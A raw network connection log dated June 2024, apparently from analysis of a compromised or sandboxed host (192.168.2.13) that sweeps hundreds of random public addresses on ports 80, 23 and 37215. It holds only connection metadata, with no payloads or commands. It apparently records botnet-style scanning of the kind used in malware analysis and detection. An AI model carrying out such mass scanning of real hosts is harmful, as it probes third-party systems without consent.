Jun 10, 2024 15:37:59.871299028 CEST	38216	80	192.168.2.13	203.54.242.166
Jun 10, 2024 15:37:59.871345043 CEST	36028	80	192.168.2.13	151.218.172.48
Jun 10, 2024 15:37:59.871351957 CEST	59002	80	192.168.2.13	50.13.193.163
Jun 10, 2024 15:37:59.871354103 CEST	33178	80	192.168.2.13	70.109.71.255
Jun 10, 2024 15:37:59.871354103 CEST	53788	80	192.168.2.13	70.156.171.43
Jun 10, 2024 15:37:59.871382952 CEST	43790	80	192.168.2.13	57.244.132.164
Jun 10, 2024 15:37:59.871382952 CEST	36226	80	192.168.2.13	194.55.24.22
Jun 10, 2024 15:37:59.871401072 CEST	50488	80	192.168.2.13	102.230.19.253
Jun 10, 2024 15:37:59.871402979 CEST	46310	80	192.168.2.13	20.2.48.78
Jun 10, 2024 15:37:59.871409893 CEST	60480	80	192.168.2.13	88.157.63.21
Jun 10, 2024 15:37:59.871416092 CEST	39692	80	192.168.2.13	193.5.227.125
Jun 10, 2024 15:37:59.871426105 CEST	49510	80	192.168.2.13	181.171.108.67
Jun 10, 2024 15:37:59.871443033 CEST	54484	80	192.168.2.13	115.56.153.54
Jun 10, 2024 15:37:59.871462107 CEST	60254	80	192.168.2.13	213.227.25.210
Jun 10, 2024 15:37:59.871468067 CEST	59576	80	192.168.2.13	32.111.100.187
Jun 10, 2024 15:37:59.871473074 CEST	37862	80	192.168.2.13	115.165.178.143
Jun 10, 2024 15:37:59.871478081 CEST	39576	80	192.168.2.13	9.203.151.161
Jun 10, 2024 15:37:59.871486902 CEST	40604	80	192.168.2.13	96.121.230.115
Jun 10, 2024 15:37:59.871486902 CEST	46400	80	192.168.2.13	31.24.128.114
Jun 10, 2024 15:37:59.871507883 CEST	41360	80	192.168.2.13	173.150.225.180
Jun 10, 2024 15:37:59.871515036 CEST	53200	80	192.168.2.13	181.232.47.252
Jun 10, 2024 15:37:59.871519089 CEST	37846	80	192.168.2.13	86.102.128.211
Jun 10, 2024 15:37:59.871527910 CEST	40200	80	192.168.2.13	13.159.171.238
Jun 10, 2024 15:37:59.871552944 CEST	42374	80	192.168.2.13	195.50.200.227
Jun 10, 2024 15:37:59.871556044 CEST	36316	80	192.168.2.13	158.214.75.80
Jun 10, 2024 15:37:59.871557951 CEST	48198	80	192.168.2.13	99.27.23.33
Jun 10, 2024 15:37:59.871567965 CEST	40914	80	192.168.2.13	84.162.2.5
Jun 10, 2024 15:37:59.871577978 CEST	35686	80	192.168.2.13	51.33.7.198
Jun 10, 2024 15:37:59.871583939 CEST	54738	80	192.168.2.13	167.251.162.140
Jun 10, 2024 15:37:59.871592045 CEST	55978	80	192.168.2.13	46.11.146.222
Jun 10, 2024 15:37:59.871603966 CEST	54134	80	192.168.2.13	78.199.201.121
Jun 10, 2024 15:37:59.871609926 CEST	40552	80	192.168.2.13	111.31.234.213
Jun 10, 2024 15:37:59.871622086 CEST	48860	80	192.168.2.13	145.193.92.118
Jun 10, 2024 15:37:59.871656895 CEST	51740	80	192.168.2.13	160.158.220.221
Jun 10, 2024 15:37:59.871660948 CEST	34684	80	192.168.2.13	161.147.107.200
Jun 10, 2024 15:37:59.871660948 CEST	48426	80	192.168.2.13	189.244.26.215
Jun 10, 2024 15:37:59.871671915 CEST	35424	80	192.168.2.13	74.221.113.140
Jun 10, 2024 15:37:59.871687889 CEST	53820	80	192.168.2.13	220.219.206.99
Jun 10, 2024 15:37:59.871694088 CEST	51850	80	192.168.2.13	154.68.192.29
Jun 10, 2024 15:37:59.871697903 CEST	40362	80	192.168.2.13	184.225.110.223
Jun 10, 2024 15:37:59.871709108 CEST	34258	80	192.168.2.13	37.242.196.25
Jun 10, 2024 15:37:59.871715069 CEST	34574	80	192.168.2.13	39.251.150.235
Jun 10, 2024 15:37:59.871742964 CEST	33052	80	192.168.2.13	20.163.218.116
Jun 10, 2024 15:37:59.871747017 CEST	49634	80	192.168.2.13	219.24.143.221
Jun 10, 2024 15:37:59.871759892 CEST	58880	80	192.168.2.13	92.126.239.180
Jun 10, 2024 15:37:59.871763945 CEST	49978	80	192.168.2.13	161.106.196.70
Jun 10, 2024 15:37:59.871772051 CEST	46352	80	192.168.2.13	120.127.248.215
Jun 10, 2024 15:37:59.871778011 CEST	49380	80	192.168.2.13	80.246.211.214
Jun 10, 2024 15:37:59.871788979 CEST	43918	80	192.168.2.13	24.223.44.225
Jun 10, 2024 15:37:59.871793985 CEST	34770	80	192.168.2.13	178.116.76.220
Jun 10, 2024 15:37:59.871798038 CEST	80	52376	20.192.68.43	192.168.2.13
Jun 10, 2024 15:37:59.871802092 CEST	56760	80	192.168.2.13	76.87.100.69
Jun 10, 2024 15:37:59.871810913 CEST	43950	80	192.168.2.13	200.227.24.116
Jun 10, 2024 15:37:59.871825933 CEST	43592	80	192.168.2.13	80.234.35.77
Jun 10, 2024 15:37:59.871844053 CEST	37466	80	192.168.2.13	86.248.77.229
Jun 10, 2024 15:37:59.871853113 CEST	52376	80	192.168.2.13	20.192.68.43
Jun 10, 2024 15:37:59.871854067 CEST	39034	80	192.168.2.13	152.83.224.204
Jun 10, 2024 15:37:59.871864080 CEST	51562	37215	192.168.2.13	41.130.180.46
Jun 10, 2024 15:37:59.871876955 CEST	39034	80	192.168.2.13	152.83.224.204
Jun 10, 2024 15:37:59.871961117 CEST	37215	35452	197.116.197.156	192.168.2.13
Jun 10, 2024 15:37:59.872005939 CEST	35452	37215	192.168.2.13	197.116.197.156
Jun 10, 2024 15:37:59.872478962 CEST	80	49412	64.204.248.79	192.168.2.13
Jun 10, 2024 15:37:59.872560024 CEST	39392	80	192.168.2.13	152.83.224.204
Jun 10, 2024 15:37:59.872983932 CEST	80	49768	64.204.248.79	192.168.2.13
Jun 10, 2024 15:37:59.873027086 CEST	49768	80	192.168.2.13	64.204.248.79
Jun 10, 2024 15:37:59.873059034 CEST	48046	37215	192.168.2.13	197.167.77.113
Jun 10, 2024 15:37:59.873135090 CEST	37215	57320	156.12.201.188	192.168.2.13
Jun 10, 2024 15:37:59.873178005 CEST	57320	37215	192.168.2.13	156.12.201.188
Jun 10, 2024 15:37:59.873234987 CEST	49768	80	192.168.2.13	64.204.248.79
Jun 10, 2024 15:37:59.873244047 CEST	52376	80	192.168.2.13	20.192.68.43
Jun 10, 2024 15:37:59.873251915 CEST	52736	80	192.168.2.13	96.171.224.255
Jun 10, 2024 15:37:59.873251915 CEST	52736	80	192.168.2.13	96.171.224.255
Jun 10, 2024 15:37:59.873650074 CEST	80	42046	195.209.166.102	192.168.2.13
Jun 10, 2024 15:37:59.873878956 CEST	53094	80	192.168.2.13	96.171.224.255
Jun 10, 2024 15:37:59.874293089 CEST	80	42402	195.209.166.102	192.168.2.13
Jun 10, 2024 15:37:59.874341965 CEST	42402	80	192.168.2.13	195.209.166.102
Jun 10, 2024 15:37:59.874479055 CEST	38164	37215	192.168.2.13	156.162.243.21
Jun 10, 2024 15:37:59.874567986 CEST	57824	80	192.168.2.13	135.106.4.49
Jun 10, 2024 15:37:59.874567986 CEST	57824	80	192.168.2.13	135.106.4.49
Jun 10, 2024 15:37:59.874732971 CEST	80	35066	74.221.113.140	192.168.2.13
Jun 10, 2024 15:37:59.874762058 CEST	80	51382	160.158.220.221	192.168.2.13
Jun 10, 2024 15:37:59.874789953 CEST	80	56778	124.198.230.56	192.168.2.13
Jun 10, 2024 15:37:59.874820948 CEST	37215	41708	156.19.135.49	192.168.2.13
Jun 10, 2024 15:37:59.874860048 CEST	41708	37215	192.168.2.13	156.19.135.49
Jun 10, 2024 15:37:59.875335932 CEST	80	57134	124.198.230.56	192.168.2.13
Jun 10, 2024 15:37:59.875382900 CEST	57134	80	192.168.2.13	124.198.230.56
Jun 10, 2024 15:37:59.875648022 CEST	58182	80	192.168.2.13	135.106.4.49
Jun 10, 2024 15:37:59.876099110 CEST	37215	56620	156.24.110.61	192.168.2.13
Jun 10, 2024 15:37:59.876147985 CEST	56620	37215	192.168.2.13	156.24.110.61
Jun 10, 2024 15:37:59.876210928 CEST	80	38216	203.54.242.166	192.168.2.13
Jun 10, 2024 15:37:59.876252890 CEST	38216	80	192.168.2.13	203.54.242.166
Jun 10, 2024 15:37:59.876791000 CEST	56786	37215	192.168.2.13	197.59.140.99
Jun 10, 2024 15:37:59.876946926 CEST	57134	80	192.168.2.13	124.198.230.56
Jun 10, 2024 15:37:59.876946926 CEST	42402	80	192.168.2.13	195.209.166.102
Jun 10, 2024 15:37:59.877058983 CEST	37806	23	192.168.2.13	168.182.53.74
Jun 10, 2024 15:37:59.877290010 CEST	80	36028	151.218.172.48	192.168.2.13
Jun 10, 2024 15:37:59.877334118 CEST	36028	80	192.168.2.13	151.218.172.48
Jun 10, 2024 15:37:59.877377033 CEST	80	59002	50.13.193.163	192.168.2.13
Jun 10, 2024 15:37:59.877404928 CEST	80	33178	70.109.71.255	192.168.2.13
Jun 10, 2024 15:37:59.877422094 CEST	59002	80	192.168.2.13	50.13.193.163
Jun 10, 2024 15:37:59.877433062 CEST	80	53788	70.156.171.43	192.168.2.13
Jun 10, 2024 15:37:59.877458096 CEST	33178	80	192.168.2.13	70.109.71.255
Jun 10, 2024 15:37:59.877460003 CEST	80	43790	57.244.132.164	192.168.2.13
Jun 10, 2024 15:37:59.877485037 CEST	53788	80	192.168.2.13	70.156.171.43
Jun 10, 2024 15:37:59.877490044 CEST	43790	80	192.168.2.13	57.244.132.164
Jun 10, 2024 15:37:59.877511024 CEST	80	36226	194.55.24.22	192.168.2.13
Jun 10, 2024 15:37:59.877538919 CEST	80	50488	102.230.19.253	192.168.2.13
Jun 10, 2024 15:37:59.877547979 CEST	36226	80	192.168.2.13	194.55.24.22
Jun 10, 2024 15:37:59.877567053 CEST	80	46310	20.2.48.78	192.168.2.13
Jun 10, 2024 15:37:59.877578020 CEST	50488	80	192.168.2.13	102.230.19.253
Jun 10, 2024 15:37:59.877593994 CEST	80	60480	88.157.63.21	192.168.2.13
Jun 10, 2024 15:37:59.877610922 CEST	46310	80	192.168.2.13	20.2.48.78
Jun 10, 2024 15:37:59.877621889 CEST	80	39692	193.5.227.125	192.168.2.13
Jun 10, 2024 15:37:59.877639055 CEST	60480	80	192.168.2.13	88.157.63.21
Jun 10, 2024 15:37:59.877650023 CEST	80	49510	181.171.108.67	192.168.2.13
Jun 10, 2024 15:37:59.877665043 CEST	39692	80	192.168.2.13	193.5.227.125
Jun 10, 2024 15:37:59.877677917 CEST	80	54484	115.56.153.54	192.168.2.13
Jun 10, 2024 15:37:59.877690077 CEST	49510	80	192.168.2.13	181.171.108.67
Jun 10, 2024 15:37:59.877705097 CEST	80	39034	152.83.224.204	192.168.2.13
Jun 10, 2024 15:37:59.877731085 CEST	54484	80	192.168.2.13	115.56.153.54
Jun 10, 2024 15:37:59.877732992 CEST	37215	51562	41.130.180.46	192.168.2.13
Jun 10, 2024 15:37:59.877760887 CEST	80	39392	152.83.224.204	192.168.2.13
Jun 10, 2024 15:37:59.877777100 CEST	51562	37215	192.168.2.13	41.130.180.46
Jun 10, 2024 15:37:59.877810955 CEST	39392	80	192.168.2.13	152.83.224.204
Jun 10, 2024 15:37:59.877810955 CEST	39392	80	192.168.2.13	152.83.224.204
Jun 10, 2024 15:37:59.878102064 CEST	37215	48046	197.167.77.113	192.168.2.13
Jun 10, 2024 15:37:59.878148079 CEST	48046	37215	192.168.2.13	197.167.77.113
Jun 10, 2024 15:37:59.878283978 CEST	80	52736	96.171.224.255	192.168.2.13
Jun 10, 2024 15:37:59.878804922 CEST	80	53094	96.171.224.255	192.168.2.13
Jun 10, 2024 15:37:59.878869057 CEST	53094	80	192.168.2.13	96.171.224.255
Jun 10, 2024 15:37:59.878869057 CEST	53094	80	192.168.2.13	96.171.224.255
Jun 10, 2024 15:37:59.878942966 CEST	34378	23	192.168.2.13	73.128.187.229
Jun 10, 2024 15:37:59.879009008 CEST	80	60254	213.227.25.210	192.168.2.13
Jun 10, 2024 15:37:59.879040003 CEST	80	59576	32.111.100.187	192.168.2.13
Jun 10, 2024 15:37:59.879055023 CEST	60254	80	192.168.2.13	213.227.25.210
Jun 10, 2024 15:37:59.879066944 CEST	80	37862	115.165.178.143	192.168.2.13
Jun 10, 2024 15:37:59.879086971 CEST	52364	37215	192.168.2.13	197.238.227.229
Jun 10, 2024 15:37:59.879086971 CEST	59576	80	192.168.2.13	32.111.100.187
Jun 10, 2024 15:37:59.879103899 CEST	37862	80	192.168.2.13	115.165.178.143
Jun 10, 2024 15:37:59.879117966 CEST	80	39576	9.203.151.161	192.168.2.13
Jun 10, 2024 15:37:59.879146099 CEST	80	40604	96.121.230.115	192.168.2.13
Jun 10, 2024 15:37:59.879164934 CEST	39576	80	192.168.2.13	9.203.151.161
Jun 10, 2024 15:37:59.879172087 CEST	80	46400	31.24.128.114	192.168.2.13
Jun 10, 2024 15:37:59.879188061 CEST	40604	80	192.168.2.13	96.121.230.115
Jun 10, 2024 15:37:59.879199982 CEST	80	41360	173.150.225.180	192.168.2.13
Jun 10, 2024 15:37:59.879218102 CEST	46400	80	192.168.2.13	31.24.128.114
Jun 10, 2024 15:37:59.879226923 CEST	80	53200	181.232.47.252	192.168.2.13
Jun 10, 2024 15:37:59.879244089 CEST	41360	80	192.168.2.13	173.150.225.180
Jun 10, 2024 15:37:59.879267931 CEST	53200	80	192.168.2.13	181.232.47.252
Jun 10, 2024 15:37:59.879278898 CEST	80	37846	86.102.128.211	192.168.2.13
Jun 10, 2024 15:37:59.879307032 CEST	80	40200	13.159.171.238	192.168.2.13
Jun 10, 2024 15:37:59.879319906 CEST	37846	80	192.168.2.13	86.102.128.211
Jun 10, 2024 15:37:59.879345894 CEST	40200	80	192.168.2.13	13.159.171.238
Jun 10, 2024 15:37:59.879355907 CEST	80	36316	158.214.75.80	192.168.2.13
Jun 10, 2024 15:37:59.879384041 CEST	80	42374	195.50.200.227	192.168.2.13
Jun 10, 2024 15:37:59.879398108 CEST	36316	80	192.168.2.13	158.214.75.80
Jun 10, 2024 15:37:59.879410982 CEST	80	48198	99.27.23.33	192.168.2.13
Jun 10, 2024 15:37:59.879426956 CEST	42374	80	192.168.2.13	195.50.200.227
Jun 10, 2024 15:37:59.879437923 CEST	80	40914	84.162.2.5	192.168.2.13
Jun 10, 2024 15:37:59.879447937 CEST	48198	80	192.168.2.13	99.27.23.33
Jun 10, 2024 15:37:59.879465103 CEST	80	35686	51.33.7.198	192.168.2.13
Jun 10, 2024 15:37:59.879477978 CEST	40914	80	192.168.2.13	84.162.2.5
Jun 10, 2024 15:37:59.879492998 CEST	80	54738	167.251.162.140	192.168.2.13
Jun 10, 2024 15:37:59.879515886 CEST	35686	80	192.168.2.13	51.33.7.198
Jun 10, 2024 15:37:59.879528046 CEST	54738	80	192.168.2.13	167.251.162.140
Jun 10, 2024 15:37:59.879542112 CEST	80	55978	46.11.146.222	192.168.2.13
Jun 10, 2024 15:37:59.879570007 CEST	80	54134	78.199.201.121	192.168.2.13
Jun 10, 2024 15:37:59.879585981 CEST	55978	80	192.168.2.13	46.11.146.222
Jun 10, 2024 15:37:59.879596949 CEST	80	40552	111.31.234.213	192.168.2.13
Jun 10, 2024 15:37:59.879618883 CEST	54134	80	192.168.2.13	78.199.201.121
Jun 10, 2024 15:37:59.879623890 CEST	80	48860	145.193.92.118	192.168.2.13
Jun 10, 2024 15:37:59.879638910 CEST	40552	80	192.168.2.13	111.31.234.213
Jun 10, 2024 15:37:59.879652023 CEST	80	51740	160.158.220.221	192.168.2.13
Jun 10, 2024 15:37:59.879674911 CEST	48860	80	192.168.2.13	145.193.92.118
Jun 10, 2024 15:37:59.879678011 CEST	80	34684	161.147.107.200	192.168.2.13
Jun 10, 2024 15:37:59.879693985 CEST	51740	80	192.168.2.13	160.158.220.221
Jun 10, 2024 15:37:59.879705906 CEST	80	48426	189.244.26.215	192.168.2.13
Jun 10, 2024 15:37:59.879725933 CEST	34684	80	192.168.2.13	161.147.107.200
Jun 10, 2024 15:37:59.879731894 CEST	80	35424	74.221.113.140	192.168.2.13
Jun 10, 2024 15:37:59.879745007 CEST	48426	80	192.168.2.13	189.244.26.215
Jun 10, 2024 15:37:59.879777908 CEST	35424	80	192.168.2.13	74.221.113.140
Jun 10, 2024 15:37:59.879781961 CEST	80	53820	220.219.206.99	192.168.2.13
Jun 10, 2024 15:37:59.879810095 CEST	80	51850	154.68.192.29	192.168.2.13
Jun 10, 2024 15:37:59.879826069 CEST	53820	80	192.168.2.13	220.219.206.99
Jun 10, 2024 15:37:59.879836082 CEST	80	40362	184.225.110.223	192.168.2.13
Jun 10, 2024 15:37:59.879848957 CEST	51850	80	192.168.2.13	154.68.192.29
Jun 10, 2024 15:37:59.879863024 CEST	80	34258	37.242.196.25	192.168.2.13
Jun 10, 2024 15:37:59.879878998 CEST	40362	80	192.168.2.13	184.225.110.223
Jun 10, 2024 15:37:59.879890919 CEST	37215	38164	156.162.243.21	192.168.2.13
Jun 10, 2024 15:37:59.879897118 CEST	34258	80	192.168.2.13	37.242.196.25
Jun 10, 2024 15:37:59.879919052 CEST	80	34574	39.251.150.235	192.168.2.13
Jun 10, 2024 15:37:59.879935980 CEST	38164	37215	192.168.2.13	156.162.243.21
Jun 10, 2024 15:37:59.879945993 CEST	80	33052	20.163.218.116	192.168.2.13
Jun 10, 2024 15:37:59.879962921 CEST	34574	80	192.168.2.13	39.251.150.235
Jun 10, 2024 15:37:59.879973888 CEST	80	57824	135.106.4.49	192.168.2.13
Jun 10, 2024 15:37:59.879986048 CEST	33052	80	192.168.2.13	20.163.218.116
Jun 10, 2024 15:37:59.880001068 CEST	80	49634	219.24.143.221	192.168.2.13
Jun 10, 2024 15:37:59.880028009 CEST	80	58880	92.126.239.180	192.168.2.13
Jun 10, 2024 15:37:59.880053043 CEST	49634	80	192.168.2.13	219.24.143.221
Jun 10, 2024 15:37:59.880055904 CEST	80	46352	120.127.248.215	192.168.2.13
Jun 10, 2024 15:37:59.880072117 CEST	58880	80	192.168.2.13	92.126.239.180
Jun 10, 2024 15:37:59.880083084 CEST	80	49978	161.106.196.70	192.168.2.13
Jun 10, 2024 15:37:59.880100965 CEST	46352	80	192.168.2.13	120.127.248.215
Jun 10, 2024 15:37:59.880110025 CEST	80	49380	80.246.211.214	192.168.2.13
Jun 10, 2024 15:37:59.880119085 CEST	49978	80	192.168.2.13	161.106.196.70
Jun 10, 2024 15:37:59.880136967 CEST	80	43918	24.223.44.225	192.168.2.13
Jun 10, 2024 15:37:59.880145073 CEST	49380	80	192.168.2.13	80.246.211.214
Jun 10, 2024 15:37:59.880165100 CEST	80	34770	178.116.76.220	192.168.2.13
Jun 10, 2024 15:37:59.880179882 CEST	43918	80	192.168.2.13	24.223.44.225
Jun 10, 2024 15:37:59.880192041 CEST	80	56760	76.87.100.69	192.168.2.13
Jun 10, 2024 15:37:59.880203009 CEST	34770	80	192.168.2.13	178.116.76.220
Jun 10, 2024 15:37:59.880218029 CEST	80	43950	200.227.24.116	192.168.2.13
Jun 10, 2024 15:37:59.880233049 CEST	56760	80	192.168.2.13	76.87.100.69
Jun 10, 2024 15:37:59.880254984 CEST	43950	80	192.168.2.13	200.227.24.116
Jun 10, 2024 15:37:59.880266905 CEST	80	43592	80.234.35.77	192.168.2.13
Jun 10, 2024 15:37:59.880294085 CEST	80	37466	86.248.77.229	192.168.2.13
Jun 10, 2024 15:37:59.880316973 CEST	43592	80	192.168.2.13	80.234.35.77
Jun 10, 2024 15:37:59.880336046 CEST	37466	80	192.168.2.13	86.248.77.229
Jun 10, 2024 15:37:59.880476952 CEST	80	58182	135.106.4.49	192.168.2.13
Jun 10, 2024 15:37:59.880526066 CEST	58182	80	192.168.2.13	135.106.4.49
Jun 10, 2024 15:37:59.880526066 CEST	58182	80	192.168.2.13	135.106.4.49
Jun 10, 2024 15:37:59.881378889 CEST	49654	37215	192.168.2.13	197.98.178.183
Jun 10, 2024 15:37:59.881632090 CEST	37215	56786	197.59.140.99	192.168.2.13
Jun 10, 2024 15:37:59.881680012 CEST	56786	37215	192.168.2.13	197.59.140.99
Jun 10, 2024 15:37:59.881896973 CEST	23	37806	168.182.53.74	192.168.2.13
Jun 10, 2024 15:37:59.881958961 CEST	37806	23	192.168.2.13	168.182.53.74
Jun 10, 2024 15:37:59.882514000 CEST	40448	37215	192.168.2.13	156.11.232.27
Jun 10, 2024 15:37:59.882682085 CEST	80	52376	20.192.68.43	192.168.2.13
Jun 10, 2024 15:37:59.882730961 CEST	80	53462	220.219.206.99	192.168.2.13
Jun 10, 2024 15:37:59.882759094 CEST	80	49768	64.204.248.79	192.168.2.13
Jun 10, 2024 15:37:59.882785082 CEST	80	51492	154.68.192.29	192.168.2.13
Jun 10, 2024 15:37:59.882811069 CEST	80	42402	195.209.166.102	192.168.2.13
Jun 10, 2024 15:37:59.882837057 CEST	80	57134	124.198.230.56	192.168.2.13
Jun 10, 2024 15:37:59.882863045 CEST	80	40004	184.225.110.223	192.168.2.13
Jun 10, 2024 15:37:59.883774996 CEST	23	34378	73.128.187.229	192.168.2.13
Jun 10, 2024 15:37:59.883836031 CEST	34378	23	192.168.2.13	73.128.187.229
Jun 10, 2024 15:37:59.884303093 CEST	80	52376	20.192.68.43	192.168.2.13
Jun 10, 2024 15:37:59.884363890 CEST	52376	80	192.168.2.13	20.192.68.43
Jun 10, 2024 15:37:59.885256052 CEST	37215	52364	197.238.227.229	192.168.2.13
Jun 10, 2024 15:37:59.885309935 CEST	52364	37215	192.168.2.13	197.238.227.229
Jun 10, 2024 15:37:59.886006117 CEST	80	49768	64.204.248.79	192.168.2.13
Jun 10, 2024 15:37:59.886050940 CEST	49768	80	192.168.2.13	64.204.248.79
Jun 10, 2024 15:37:59.886260986 CEST	37215	49654	197.98.178.183	192.168.2.13
Jun 10, 2024 15:37:59.886307955 CEST	49654	37215	192.168.2.13	197.98.178.183
Jun 10, 2024 15:37:59.886710882 CEST	80	42402	195.209.166.102	192.168.2.13
Jun 10, 2024 15:37:59.886758089 CEST	42402	80	192.168.2.13	195.209.166.102
Jun 10, 2024 15:37:59.887223005 CEST	80	57134	124.198.230.56	192.168.2.13
Jun 10, 2024 15:37:59.887279034 CEST	57134	80	192.168.2.13	124.198.230.56
Jun 10, 2024 15:37:59.887362957 CEST	37215	40448	156.11.232.27	192.168.2.13
Jun 10, 2024 15:37:59.887412071 CEST	40448	37215	192.168.2.13	156.11.232.27
Jun 10, 2024 15:37:59.888230085 CEST	80	39392	152.83.224.204	192.168.2.13
Jun 10, 2024 15:37:59.888286114 CEST	39392	80	192.168.2.13	152.83.224.204
Jun 10, 2024 15:37:59.889591932 CEST	80	53094	96.171.224.255	192.168.2.13
Jun 10, 2024 15:37:59.889645100 CEST	53094	80	192.168.2.13	96.171.224.255
Jun 10, 2024 15:37:59.890191078 CEST	80	58182	135.106.4.49	192.168.2.13
Jun 10, 2024 15:37:59.890239954 CEST	58182	80	192.168.2.13	135.106.4.49
Jun 10, 2024 15:37:59.890686035 CEST	80	33900	37.242.196.25	192.168.2.13
Jun 10, 2024 15:37:59.890713930 CEST	80	34216	39.251.150.235	192.168.2.13
Jun 10, 2024 15:37:59.890741110 CEST	80	60926	20.163.218.116	192.168.2.13
Jun 10, 2024 15:37:59.890772104 CEST	80	49276	219.24.143.221	192.168.2.13
Jun 10, 2024 15:37:59.894615889 CEST	80	58522	92.126.239.180	192.168.2.13
Jun 10, 2024 15:37:59.896460056 CEST	43020	37215	192.168.2.13	156.253.209.134
Jun 10, 2024 15:37:59.897469044 CEST	42370	37215	192.168.2.13	197.218.185.191
Jun 10, 2024 15:37:59.898403883 CEST	55096	37215	192.168.2.13	41.59.124.13
Jun 10, 2024 15:37:59.898638010 CEST	80	45994	120.127.248.215	192.168.2.13
Jun 10, 2024 15:37:59.898665905 CEST	80	49620	161.106.196.70	192.168.2.13
Jun 10, 2024 15:37:59.899382114 CEST	42996	37215	192.168.2.13	197.211.105.203
Jun 10, 2024 15:37:59.900342941 CEST	34938	37215	192.168.2.13	156.205.120.113
Jun 10, 2024 15:37:59.901365042 CEST	33426	37215	192.168.2.13	41.199.166.65
Jun 10, 2024 15:37:59.901369095 CEST	37215	43020	156.253.209.134	192.168.2.13
Jun 10, 2024 15:37:59.901422024 CEST	43020	37215	192.168.2.13	156.253.209.134
Jun 10, 2024 15:37:59.902343035 CEST	41584	37215	192.168.2.13	41.169.217.182
Jun 10, 2024 15:37:59.902391911 CEST	37215	42370	197.218.185.191	192.168.2.13
Jun 10, 2024 15:37:59.902447939 CEST	42370	37215	192.168.2.13	197.218.185.191
Jun 10, 2024 15:37:59.903295040 CEST	52142	37215	192.168.2.13	197.94.187.63
Jun 10, 2024 15:37:59.903327942 CEST	37215	55096	41.59.124.13	192.168.2.13
Jun 10, 2024 15:37:59.903373003 CEST	55096	37215	192.168.2.13	41.59.124.13
Jun 10, 2024 15:37:59.904242039 CEST	51814	37215	192.168.2.13	197.105.195.56
Jun 10, 2024 15:37:59.904261112 CEST	37215	42996	197.211.105.203	192.168.2.13
Jun 10, 2024 15:37:59.904306889 CEST	42996	37215	192.168.2.13	197.211.105.203
Jun 10, 2024 15:37:59.905165911 CEST	42506	37215	192.168.2.13	197.235.137.220
Jun 10, 2024 15:37:59.905206919 CEST	37215	34938	156.205.120.113	192.168.2.13
Jun 10, 2024 15:37:59.905251026 CEST	34938	37215	192.168.2.13	156.205.120.113
Jun 10, 2024 15:37:59.906110048 CEST	36414	37215	192.168.2.13	156.115.29.3
Jun 10, 2024 15:37:59.906318903 CEST	37215	33426	41.199.166.65	192.168.2.13
Jun 10, 2024 15:37:59.906373024 CEST	33426	37215	192.168.2.13	41.199.166.65
Jun 10, 2024 15:37:59.906596899 CEST	80	43560	24.223.44.225	192.168.2.13
Jun 10, 2024 15:37:59.906646967 CEST	80	49022	80.246.211.214	192.168.2.13
Jun 10, 2024 15:37:59.906673908 CEST	80	56400	76.87.100.69	192.168.2.13
Jun 10, 2024 15:37:59.906701088 CEST	80	34410	178.116.76.220	192.168.2.13
Jun 10, 2024 15:37:59.907043934 CEST	36348	37215	192.168.2.13	41.222.149.196
Jun 10, 2024 15:37:59.907342911 CEST	37215	41584	41.169.217.182	192.168.2.13
Jun 10, 2024 15:37:59.907382965 CEST	41584	37215	192.168.2.13	41.169.217.182
Jun 10, 2024 15:37:59.907999992 CEST	34742	37215	192.168.2.13	156.230.39.62
Jun 10, 2024 15:37:59.908220053 CEST	37215	52142	197.94.187.63	192.168.2.13
Jun 10, 2024 15:37:59.908274889 CEST	52142	37215	192.168.2.13	197.94.187.63
Jun 10, 2024 15:37:59.908979893 CEST	41890	37215	192.168.2.13	197.253.99.100
Jun 10, 2024 15:37:59.909146070 CEST	37215	51814	197.105.195.56	192.168.2.13
Jun 10, 2024 15:37:59.909204006 CEST	51814	37215	192.168.2.13	197.105.195.56
Jun 10, 2024 15:37:59.909868002 CEST	50702	37215	192.168.2.13	156.238.163.110
Jun 10, 2024 15:37:59.910079002 CEST	37215	42506	197.235.137.220	192.168.2.13
Jun 10, 2024 15:37:59.910126925 CEST	42506	37215	192.168.2.13	197.235.137.220
Jun 10, 2024 15:37:59.910569906 CEST	33786	37215	192.168.2.13	156.179.78.181
Jun 10, 2024 15:37:59.911065102 CEST	37215	36414	156.115.29.3	192.168.2.13
Jun 10, 2024 15:37:59.911107063 CEST	36414	37215	192.168.2.13	156.115.29.3
Jun 10, 2024 15:37:59.911252975 CEST	50096	37215	192.168.2.13	156.175.16.45
Jun 10, 2024 15:37:59.911943913 CEST	37215	36348	41.222.149.196	192.168.2.13
Jun 10, 2024 15:37:59.911952019 CEST	51092	37215	192.168.2.13	197.21.231.68
Jun 10, 2024 15:37:59.911978960 CEST	36348	37215	192.168.2.13	41.222.149.196
Jun 10, 2024 15:37:59.912647963 CEST	46642	37215	192.168.2.13	41.205.70.44
Jun 10, 2024 15:37:59.912883997 CEST	37215	34742	156.230.39.62	192.168.2.13
Jun 10, 2024 15:37:59.912929058 CEST	34742	37215	192.168.2.13	156.230.39.62
Jun 10, 2024 15:37:59.913352013 CEST	38456	37215	192.168.2.13	156.139.95.100
Jun 10, 2024 15:37:59.913872957 CEST	37215	41890	197.253.99.100	192.168.2.13
Jun 10, 2024 15:37:59.913916111 CEST	41890	37215	192.168.2.13	197.253.99.100
Jun 10, 2024 15:37:59.914035082 CEST	48102	37215	192.168.2.13	41.41.194.38
Jun 10, 2024 15:37:59.914644957 CEST	80	37108	86.248.77.229	192.168.2.13
Jun 10, 2024 15:37:59.914671898 CEST	80	43232	80.234.35.77	192.168.2.13
Jun 10, 2024 15:37:59.914699078 CEST	80	43590	200.227.24.116	192.168.2.13
Jun 10, 2024 15:37:59.914726973 CEST	80	42046	195.209.166.102	192.168.2.13
Jun 10, 2024 15:37:59.914736986 CEST	43292	37215	192.168.2.13	41.102.185.160
Jun 10, 2024 15:37:59.914753914 CEST	80	49412	64.204.248.79	192.168.2.13
Jun 10, 2024 15:37:59.914781094 CEST	80	52018	20.192.68.43	192.168.2.13
Jun 10, 2024 15:37:59.914813042 CEST	37215	50702	156.238.163.110	192.168.2.13
Jun 10, 2024 15:37:59.914846897 CEST	50702	37215	192.168.2.13	156.238.163.110
Jun 10, 2024 15:37:59.915518045 CEST	37215	33786	156.179.78.181	192.168.2.13
Jun 10, 2024 15:37:59.915569067 CEST	33786	37215	192.168.2.13	156.179.78.181
Jun 10, 2024 15:37:59.915736914 CEST	40686	37215	192.168.2.13	41.219.156.112
Jun 10, 2024 15:37:59.916131020 CEST	37215	50096	156.175.16.45	192.168.2.13
Jun 10, 2024 15:37:59.916168928 CEST	50096	37215	192.168.2.13	156.175.16.45
Jun 10, 2024 15:37:59.916467905 CEST	35252	37215	192.168.2.13	41.136.197.138
